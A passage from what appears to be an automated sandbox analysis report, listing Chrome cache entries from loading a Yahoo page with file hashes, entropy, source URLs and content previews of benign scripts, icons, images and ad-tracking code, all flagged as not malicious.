Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-benji",[],t):"object"==typeof exports?exports["wafer-benji"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-benji"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}functio

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2571
Entropy (8bit):	7.8996914848578905
Encrypted:	false
SSDEEP:	48:N5e0ey4eHNnguCtoFOeAGVxG2DY+yrUbB7/nbc7fpyROZ9kO+dAA:beI4etnRCtokeAWVY+ygbl/8pRIhN
MD5:	6EA2C3E16D4E554879C92E2DD9C48ECD
SHA1:	8C8F8656DD2409A329F2E6DD8FFE71F71EC87E28
SHA-256:	2142F62C8D1E865B46C0A6EF7AA2CA9A523EB31B306790328F5E4E966A8D58C2
SHA-512:	446892C8D929AD6F7B189390EECE7E3E66FBCEE7AD4302D1153E56CB295B500B57774762A2A9BDBE2E3D3B849657CD595EEBDA3F08EC612ABCFC260887C8FD59
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/iu/api/res/1.2/u6_Mg2dDzQ2NMpEQ1NvaMQ--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/ncaab/20181228/500x500/army_wbg.png
Preview:	.PNG........IHDR...2...2......?......pHYs..........&.?....tIME.........:(....IDATh..ZiPT....a.Yd.d.DV.d.EE.E.A.Q0......D..p. ......1n.4.I.D.<_.Y.V....R.z?.'.^....w...p.d.[.5w.=....._w.;d...............nC..kS...........k..x...k.g9;.%_...u.s..7..r..&........v...u)&.^.HIK......F`"..(>:hPHcU..k[.'....#...y...7..a{..B..m.vU...k.K..O3......hJ..3.&h..]>...=RKaA:.9....]..(:<..FQ^F...K.cC.......).5.N.XOn.Z#0..w_.-V.Y.H.k....V...V.$d./.T>]:Y...q.s=...[hw."J..Aj..@N........m'?3..F..3..)'m.h.9._x....$..5Qa.DR.l.......F.eM.........X....Z...r.;.Jr`p..v.S.....C.;k...V.f...Rq^.]?.L............./..z..N*..J.BF.C.......X.....C..&<....P.).c...t.~.O.)Q.V...S...`G+....A.iS.[......D...2...7....Iq..~.....C........E.......)gF.U....Oo.<V_..q..H..;.N.(j.h......a.`.>w..R...i.m^7..k.Qgk9.rz..mYDq....b..C...u..?#.39q.eWD...__6K....U.P...........q.Q.i..p:.........E.1.."....l...V..z@... ..i....^..0..3D.r`..+../"&].........kY.J....=.-......L....Sr....a.qe..+?}....(.G.

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (62377)
Category:	downloaded
Size (bytes):	71184
Entropy (8bit):	5.431117150165566
Encrypted:	false
SSDEEP:	768:2X9VkuxBu/k8nFeA2FVd5vI8r4p0twtHSltlgPCEOGtK03FJZXqSaviMryLs4guH:aVk4mh2x6iQ0tgybsjbavpryLs4L5t
MD5:	CA6C03A0104A0556DE35624AA3065B70
SHA1:	0DA2E6D4B24D15F3FA7026D911F6D94E10E1FF1E
SHA-256:	2CA181F5F8781EACA01C4E8A41D1334700378302662F1BD7FE31EF9EE4C1BFDE
SHA-512:	68A34599F981803E0EC99880F1351E5C345F5B9D99D12902BBC8A90846220ECB55471B2F79179773B693216CC5DFAE5C941B669D1A37CEF4684977EFDF009834
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/uc/sf/0.1.360/js/safe.min.js
Preview:	/! SAFEFRAME 0.1.360 . 2023, Yahoo Inc. All rights reserved. /!function(){var t={8545:function(t){var e;(e=void 0===e?{}:e).close={name:"close",height:48,width:48,path:"M37.98 34.827l-9.9-9.9 9.9-9.898c.78-.782.78-2.05 0-2.83-.78-.78-2.047-.78-2.828 0l-9.9 9.9-9.898-9.9c-.78-.78-2.048-.78-2.828 0-.78.78-.78 2.047 0 2.828l9.9 9.9-9.9 9.898c-.78.78-.78 2.047 0 2.828.78.78 2.047.78 2.828 0l9.9-9.9 9.898 9.9c.78.78 2.048.78 2.828 0 .782-.78.782-2.047 0-2.827z"},t.exports&&(t.exports=e.close)},1323:function(t){var e;(e=void 0===e?{}:e)["decline-fill"]={name:"decline-fill",height:48,width:48,path:"M24 1C11.3 1 1 11.3 1 24s10.3 23 23 23 23-10.3 23-23S36.7 1 24 1zm9.8 32.8c-.9.9-2.2.9-3.1 0L24 27l-6.8 6.8c-.9.9-2.2.9-3.1 0s-.9-2.2 0-3.1l6.8-6.8-6.7-6.7c-.9-.9-.9-2.2 0-3.1.9-.9 2.2-.9 3.1 0l6.7 6.7 6.7-6.7c.9-.9 2.2-.9 3.1 0 .9.9.9 2.2 0 3.1l-6.7 6.7 6.7 6.8c.9.9.9 2.3 0 3.1z"},t.exports&&(t.exports=e["decline-fill"])},1690:function(t,e,n){"use strict";var r,o=n(6489),i=n(8861),a=n(8220);fun

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	153059
Entropy (8bit):	5.826523322998484
Encrypted:	false
SSDEEP:	1536:NGzt+Tf/3fXYWw5OFWX76NifGVVBuxyE2l50PjF98baNlXqd0hthRVo4/FLTVme:s+zacEiVqaPAF98baNlXqd0HFxTR
MD5:	609AFDDFE4B08824045D28842B8F10A4
SHA1:	4F199336D2B86DB9C96FA7070AF568E9D5628DE3
SHA-256:	223B22C78CA73359E9C2C30D6D93F685A54CBB34EF76CFEA8B8C6B0709845E8A
SHA-512:	881737E764BCE7DC7FF146395865453CDAAE66E41925E00EF78185B24FB984223EFEFFE17FC8CBE4A5598D8D2122B62CE815AB6E4BE2BBEDAF0CABDD27B5BF1C
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/f10d509c/d1ccw66oyq8ex2.js
Preview:	(new function(){var b=['qLvuve9o','C3lrGt0I','yxbPu2vZC2LVBLv1Awq=','Dgv4Da==','CMvWBgfJzunOAwXK','D3jPDgu=','uKrolvG=','D25K','Aw5dCMvHDgL2zq==','qvbh','rNjHBwu=','zg9JD3jPDgu=','Dg9mB3DLCKnHC2u=','zxz0lwyYzG==','pceTlsbIBwq6lY9WCMvIAwq/ywrVBwfPBNm9','Aw5Zzxj0qwrQywnLBNrive1m','FsKO','yxjNDw1LBNrZid0Gw10UC2XPy2uUy2fSBcHHCMD1BwvUDhmSidyPoYa=','C291CMnL','ChjVDg9JB2W=','tuvuqq==','y2HPBgroB2rLCW==','y2LK','sfrntfnJCMLWDevSzw1LBNq=','CgXHEq==','yxbPu3PTrNjvBNDYCa==','Dgv4DenVBNrLBNq=','z2v0q29TChv0zwrtDhLSzq==','zNjHBwvtCMm=','z2v0t3DUuhjVCgvYDhLoyw1LCW==','x19JB25ZB2XLlMeK','zxz0lwvYCG==','C2v0sw50zxj2ywW=','zxzHBa==','v2vIr0Xszw5KzxjPBMDdB250zxH0','x2jSyw5R','rNvUy3rPB24=','yMXVyJO=','zg9JDw1LBNrfBgvTzw50','B3v0yNjHAw4=','tKzo','C2vHDgjPza==','u1rzteu=','ywrHz2LV','C2v0qxr0CMLIDxrL','y29UDgfPBNm=','zxzLCNK=','DgHLBG==','CgfYC2u=','ywn0Aw9Ux2DYB3vWx2LK','Ahr0Chm6','ywn0Aw9Ux25HBwu=','psHCzcSPxhm=','su5qvvq=','v0felq==','B3DUzxjfBgvTzw50','C3rYAw5N','y2zNlwDNCW==','cIaGicbHDcbHyM91DdPZCM

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1087
Entropy (8bit):	5.120392827929451
Encrypted:	false
SSDEEP:	24:tCbYLdLGSKGQlnGMGlTIqdhg1a4x0KKGSyFzWIS66AvIS6RAytgI:DJGSdQMH76k96gsK
MD5:	B182D19798F0D66CA701301E28C0034A
SHA1:	52C014BAA654A9E6B73CAC335FEFDB7B39B6B123
SHA-256:	804F7150640198DF0AAC95F7499EC183FFED8AB411CCF16C5D96D3D83A75E063
SHA-512:	238044791F93191D6899F784C114A4DC4F610A55BCA1BCCB75CDCC9A2799617ECB63C49546623AB20474EDCF6A38642708093E03EA32C39E77A190970B06E750
Malicious:	false
Reputation:	low
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M44 15.23c0 8.462-6.77 15.232-15.23 15.232H9.307C4.23 30.462 0 26.23 0 21.154s4.23-9.308 9.308-9.308c1.523 0 3.046.339 4.4 1.185C14.892 5.585 21.154 0 28.769 0 37.231 0 44 6.77 44 15.23z" id="b"/>. </defs>. <g fill="none" fill-rule="nonzero">. <g transform="translate(2 2)">. <use fill="url(#a)" xlink:href="#b"/>. <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/>. </g>. <path d="M35.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C28.565 38.87 33.67 36 33.67 36s2.857 4.921 2.245 6.972zM21.914 42.972c-.612 2.255-2.858 3.485-4.9 2.87-2.244-.615-3.47-2.87-2.857-4.92C1

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (31595)
Category:	downloaded
Size (bytes):	103219
Entropy (8bit):	5.479253163675781
Encrypted:	false
SSDEEP:	1536:2NFNM3KxdVu8Z8OMIocFLH4XFrMplIeHiJp9WW4ITTMjFqOYc4U8oRHryE+:EqCJocJlfH2p9542MjFmcc6eB
MD5:	2C4171ECA0E1532375739418B89CCEF4
SHA1:	B9B010801FB0148BB96F0F3A245B05B90F392FF0
SHA-256:	D54BFC003390DAB9E8B16DC32DC5D1C5A6CC567C3ADC44251E541933DDB508E9
SHA-512:	E033C092636F6D4760BA4285D2222F30967698E90ED6B11D760F5808FF4CC59FF43A4766D261641B8842D1B3EE6184B0E8D89FD8FB47B5797FFCD4F22AEFE312
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/static/topics/topics_frame.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8" />. <title>Topics Frame</title>. <meta. http-equiv="origin-trial". content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0=". />. <script>. ./.. Copyright 2022 Google LLC. SPDX-License-Identifier: Apache-2.0./.var m,aa,ba=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	158
Entropy (8bit):	4.994787172741404
Encrypted:	false
SSDEEP:	3:yLRmcpZ6CdPtpOq94IhXVHws6Tac3mDDpKfFsLGD/DNKv:yL/pZ6CVCq9JVHwJW1iFqt
MD5:	CA243B22264DCA7A4A899C51CC2DC963
SHA1:	CF47310BBB10F981E5735CBCB6196F688782A625
SHA-256:	95FB5A5390AFDA7B7734B303C9F724039FDA305313CE9517AA5F7A544A208AF0
SHA-512:	704E626A74A47B560B3316788B46F7CAF94E1E831B9290551C52DBF4D1E8DD8B72BACBBF6164EAA393BD97DABA0C351881B2F9D83A92F3BAAC49322BF9B5040B
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/nn/lib/metro/g/myy/advertisement_0.0.19.js
Preview:	document.write('<div id="advertisement-thamba" style="display:none">Display Advertisement</div>');/* Copyright (c) 2020, Yahoo! Inc. All rights reserved. */.

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1695
Entropy (8bit):	5.177312516380945
Encrypted:	false
SSDEEP:	24:tCbYLbGPGuXVGTIshQGzGeLGSoGQlnGMGlsXGlbvOu3aYrpRDnOG3KwS7x7SyFYb:Di+hVdqUGSbQMHNDq8glIyxI
MD5:	93DC53D369DCA8F09877C3ECC9A41DE3
SHA1:	346D07BC2A3B65CD75CF0B3F938348969CA1A7C5
SHA-256:	E689333AEAB6ADA00BE85106F30DEDD1E069EFCF70B78E13CE407CC04B1B1189
SHA-512:	9D084CFA903CA9B6C253937B5F5628582C2080826124613CB5F70E6869ED472DF8541DF52E69DCDA55AFC11ED015BC0083DF5C1074717979544168F1E80ECB3E
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg
Preview:	<svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">. <defs>. <linearGradient x1="-36.396%" y1="32.854%" x2="33.396%" y2="133.313%" id="a">. <stop stop-color="#FFF5B2" offset=".013%"/>. <stop stop-color="#FFDE00" offset="39.944%"/>. <stop stop-color="#FFA700" offset="100%"/>. </linearGradient>. <linearGradient x1="11.357%" y1="56.982%" x2="74.1%" y2="26.47%" id="b">. <stop stop-color="#FFB92B" stop-opacity=".05" offset="0%"/>. <stop stop-color="#FF6900" offset="100%"/>. </linearGradient>. <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="c">. <stop stop-color="#B5BDC8" offset="0%"/>. <stop stop-color="#C7CDD2" offset="21.044%"/>. <stop stop-color="#E5EBEF" offset="100%"/>. </linearGradient>. <path d="M29.428 9.083c-4.944.213-9.017 4.055-9.642 9.094a6.54 6.54 0 00-5.162.923c-1.899 1.144-3.201 3.098-3.552 5.33a7.336 7.336 0 00.435 3.706c.46 1.083 1.502 1.7

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65484)
Category:	downloaded
Size (bytes):	185081
Entropy (8bit):	5.447068975292929
Encrypted:	false
SSDEEP:	1536:VmzNNlFchunXyvAZtqtuRL7HG8HbRbzC1H9RTMYfsKPJgX+/W4aSSZ0iTvVQzBu7:VmzNNlFchunXyYZAI0iTdIlM9O6
MD5:	35600DA82CDA4DC8A32E3F3E3D3040F0
SHA1:	D7D6E6E26777767E0889F02952B6F7C13624A8C3
SHA-256:	79DE39502B10F052460EFEC133B798596C4EA73661805E0BAA3F3F6FE7EE480E
SHA-512:	5D2F94F74E51B334F5410FC8E1DC96323B97954AF2D9E892701C06C677A772927FE14D0E831A12587C1872E43F83CC214DF8558EFA294C168CE455BFAA0612BD
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/cmp/version/6.4.0/cmp.js
Preview:	/! CMP 6.4.0 Copyright 2018 Oath Holdings, Inc. /.!function(){var e={604:function(e){"use strict";function t(e){return(t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}e.exports=function(){for(var e,n,r=[],i=window,o=i;o;){try{if(o.frames.__tcfapiLocator){e=o;break}}catch(e){}if(o===i.top)break;o=o.parent}e\|\|(function e(){var t=i.document,n=!!i.frames.__tcfapiLocator;if(!n)if(t.body){var r=t.createElement("iframe");r.style.cssText="display:none",r.name="__tcfapiLocator",t.body.appendChild(r)}else setTimeout(e,5);return!n}(),i.__tcfapi=function(){for(var e=arguments.length,t=new Array(e),i=0;i<e;i++)t[i]=arguments[i];if(!t.length)return r;"setGdprApplies"===t[0]?t.length>3&&2===parseInt(t[1],10)&&"boolean"==typeof t[3]&&(n=t[3],"function"==typeof t[2]&&t[2]("set",!0)):"ping"===t[0]?"function"==typeof t[2]&&t[2]({gdprApplies:n,cm

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 72, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.811113028134073
Encrypted:	false
SSDEEP:	24:DzhV0C4bz+BXH/Adox88K9LDNiF6/LodoLopZYGBLn4AcXGKgF13+2HBoHVMnozC:D9jXBFxfKFljRL0YGBrLcW7F13+MBoHC
MD5:	CD166981C96C6D0F4B5A7D798C25878E
SHA1:	09031C4013138BB8BD54AB9092AC59AA47D7C60C
SHA-256:	0FDEFE26BAC6A6B0B06FE67984582F887AF70B7DA25D6CB1B401F9074DB58338
SHA-512:	6D217A81DFDCFD601C3F6D9CDE3F1BE0C4D4FFEF85B02B06208014101456CA730EF759BD51637966C9F2572080B79E8A2F9D45A2087DDC40DF015F8C052DA501
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......H............PLTEGpLa..a..a..r..`..`..`..`..b..a..`..e..`....l.....tRNS.T{j....=...Pau>....IDATx...#).F........'.&.1..5.-...t.....9....]0.......3..........,o..8p...r^<v....v.n.....Z.....;..p...%kw..y.;p..~w.H..m..%kw`.....)%...V.z....n.%.}.........G.C....Q...W......G:_]..r4..^.Bh.$.F.;R.,+.R........."s..l.T. ..I.5..H..N.c>.Q......<...G.w........U.]R.!pP.Y.:T..Q.H.qU.......t....\|...hD...'...?.YEe......A.U.t........F.,1.:...:lU....k M.b...;...{.........b..F..O...i_.?.V..~."....>..h.da...e.I.....5.\..#..../7....1...t.8....U...... g9nZ..lR..d.\|...l.T..@.$J......E.J.....%kt.j.s.J.0.d..7...3O.........I..u..1p6$.X....$f .N.b.j..t................ZqI...A)@...9qn..zj.\|F...<...S\...$.t.$3=.C.....lV.....mIm....eKo.A.E.`.......do.._..(FRg..[....<~...a...Y;..-`o....2...s..ZK\~/G.g.-Z..p0..m..../H.......%....o.;.xU_.q^.(......&%..jn...n:..dE.g6..y-2'n..... .q..e``.^.$.^...X\| ..(>!.EvI.......r.I.N...;........Q...+....x.Uw....

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	49
Entropy (8bit):	3.176789192964165
Encrypted:	false
SSDEEP:	3:CUVAae/XExlHrfx/n:8aOUJ/n
MD5:	56398E76BE6355AD5999B262208A17C9
SHA1:	A1FDEE122B95748D81CEE426D717C05B5174FE96
SHA-256:	2F561B02A49376E3679ACD5975E3790ABDFF09ECBADFA1E1858C7BA26E3FFCEF
SHA-512:	FD8B021F0236E487BFEE13BF8F0AE98760ABC492F7CA3023E292631979E135CB4CCB0C89B6234971B060AD72C0CA4474CBB5092C6C7A3255D81A54A36277B486
Malicious:	false
Reputation:	low
Preview:	GIF89a...................!.......,...........T..;

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 72, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	1346
Entropy (8bit):	7.811113028134073
Encrypted:	false
SSDEEP:	24:DzhV0C4bz+BXH/Adox88K9LDNiF6/LodoLopZYGBLn4AcXGKgF13+2HBoHVMnozC:D9jXBFxfKFljRL0YGBrLcW7F13+MBoHC
MD5:	CD166981C96C6D0F4B5A7D798C25878E
SHA1:	09031C4013138BB8BD54AB9092AC59AA47D7C60C
SHA-256:	0FDEFE26BAC6A6B0B06FE67984582F887AF70B7DA25D6CB1B401F9074DB58338
SHA-512:	6D217A81DFDCFD601C3F6D9CDE3F1BE0C4D4FFEF85B02B06208014101456CA730EF759BD51637966C9F2572080B79E8A2F9D45A2087DDC40DF015F8C052DA501
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/rz/p/yahoo_frontpage_en-US_s_f_p_bestfit_frontpage_2x.png
Preview:	.PNG........IHDR.......H............PLTEGpLa..a..a..r..`..`..`..`..b..a..`..e..`....l.....tRNS.T{j....=...Pau>....IDATx...#).F........'.&.1..5.-...t.....9....]0.......3..........,o..8p...r^<v....v.n.....Z.....;..p...%kw..y.;p..~w.H..m..%kw`.....)%...V.z....n.%.}.........G.C....Q...W......G:_]..r4..^.Bh.$.F.;R.,+.R........."s..l.T. ..I.5..H..N.c>.Q......<...G.w........U.]R.!pP.Y.:T..Q.H.qU.......t....\|...hD...'...?.YEe......A.U.t........F.,1.:...:lU....k M.b...;...{.........b..F..O...i_.?.V..~."....>..h.da...e.I.....5.\..#..../7....1...t.8....U...... g9nZ..lR..d.\|...l.T..@.$J......E.J.....%kt.j.s.J.0.d..7...3O.........I..u..1p6$.X....$f .N.b.j..t................ZqI...A)@...9qn..zj.\|F...<...S\...$.t.$3=.C.....lV.....mIm....eKo.A.E.`.......do.._..(FRg..[....<~...a...Y;..-`o....2...s..ZK\~/G.g.-Z..p0..m..../H.......%....o.;.xU_.q^.(......&%..jn...n:..dE.g6..y-2'n..... .q..e``.^.$.^...X\| ..(>!.EvI.......r.I.N...;........Q...+....x.Uw....

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2880)
Category:	downloaded
Size (bytes):	66124
Entropy (8bit):	5.578451281539552
Encrypted:	false
SSDEEP:	1536:JosWBfy4mUjgMD+3wwEph5dKg5EK3/lAJ+h4:efrmYDKAweh5dB9I+O
MD5:	8B8590707DF148CC15F1BDE2D4E25442
SHA1:	DEA06C6A4DFCC2217F16F1C56FDF4129BA530A91
SHA-256:	2F6BEA46C546F8965429C8793DA815B8AA488EA358656607513811E6220F4583
SHA-512:	6655357B58BB2D7A127905CFB55E028F9802941E6E30169B1AF299A936B7AF3590E5F8C953CE4B54C2FBDC924A69324A2D0E83AF23C08948D27482630C1CF5DE
Malicious:	false
Reputation:	low
URL:	https://securepubads.g.doubleclick.net/pagead/js/rum.js
Preview:	(function(){function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a}; .function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var ea=da(this),fa="function"===typeof Symbol&&"symbol"===typeof Symbol("x"),p={},ha={};function r(a,b,c){if(!c\|\|null!=a){c=ha[b];if(null==c)return a[b];c=a[c];return void 0!==c?c:a[b]}} .function ia(a,b,c){if(b)a:{var d=a.split(".");a=1===d.length;var e=d[0],f;!a&&e in p?f=p:f=ea;for(e=0;e<d.length-1;e++){var g=d[e];if(!(g in f))break a;f=f[g]}d=d[d.length-1];c=fa&&"es6"===c?f[d]:null;b=b(c);null!=b&&(a?ca(p,d,{configurable:!0,writable:!0,value:b}):b!==c&&(void 0

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2044), with no line terminators
Category:	downloaded
Size (bytes):	2044
Entropy (8bit):	5.5824624203615105
Encrypted:	false
SSDEEP:	24:CGrwrsn21jfn21Bn21dRn2MiwMUusijp1TSeGn2MMOIMosv1Jb3/1hMp+9Bhi1kL:CcCjecbAUusyjs/Znt53dmpGBYdq
MD5:	F73DF72F7D421115E9A2D5D4196F245B
SHA1:	5D0C0EA9939D48F3F6A956AAE7C522F085EFC693
SHA-256:	4CBD254CDD5215840EF6795948C0A329F5903B754119B120DD68E45A9B5B11D8
SHA-512:	162F35B3AD1B60CDC3D724BC297C2C88E25341C8AA127BD38198E33E866DA7566F108C5E1311974A33B4A6F14BEE214B391D1CD015927368B9E9B1356C58F7E4
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=75193254&p=0&s=0&a=0&ptask=ALL&np=0&fp=0&rp=1&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=1YNN
Preview:	PubMatic.loadAsyncImagePixel('https://thrtle.com/insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://us-u.openx.net/w/1.0/sd?id=540245193&val=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://crb.kargo.com/api/v1/dsync/Martin?exid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://sync.bfmio.com/sync?pid=187&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://ib.adnxs.com/getuid?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=$UID&gdpr=0&gdpr_consent=');PubMatic.loadAsyncIframePixel('https://sync-tm.everesttech.net/upi/pid/b9pj45k4?redir=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjE5MSZ0bD0yNTkyMDA=&piggybackCookie=${TM_USER_ID}&gdpr=1&gdpr_consent=');PubMatic.loadAsyncImagePi

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15907), with no line terminators
Category:	downloaded
Size (bytes):	15907
Entropy (8bit):	5.514273213911923
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncM:jAJ00JnLOH4ZjhwDi2+0s9R
MD5:	AE79DB664406C9254F4F32DAF70C93AC
SHA1:	FAE0AE1FCEB99F996F315545F1C75EB04939B20C
SHA-256:	8E53E50181B7A9E2CAA94173C37FCD9DE8FA75750764A2AD8AD02FAC3306D652
SHA-512:	FBD5EC409CE57592EFF6BDFB2DF69C2414A79D84CB9B1BE5B6C5110985A0FF4D192B7D31160D9F14F3E3DBA21628129ECF9BC925597F968AC1CF6DF849346AF6
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156578&predirect=&gdpr=0&gdpr_consent=
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 560x272, components 3
Category:	dropped
Size (bytes):	41390
Entropy (8bit):	7.946006133924712
Encrypted:	false
SSDEEP:	768:2wTD7xCa1/D47h76tG/L5FG7q3DZe+m2BvHWaWtJ1qWJ51xK0a9MI:2ehe8tGXG7qNTmM/ZmJQWb1Y0EMI
MD5:	36B42D17A6C2E2E8EF20FD445E4FD406
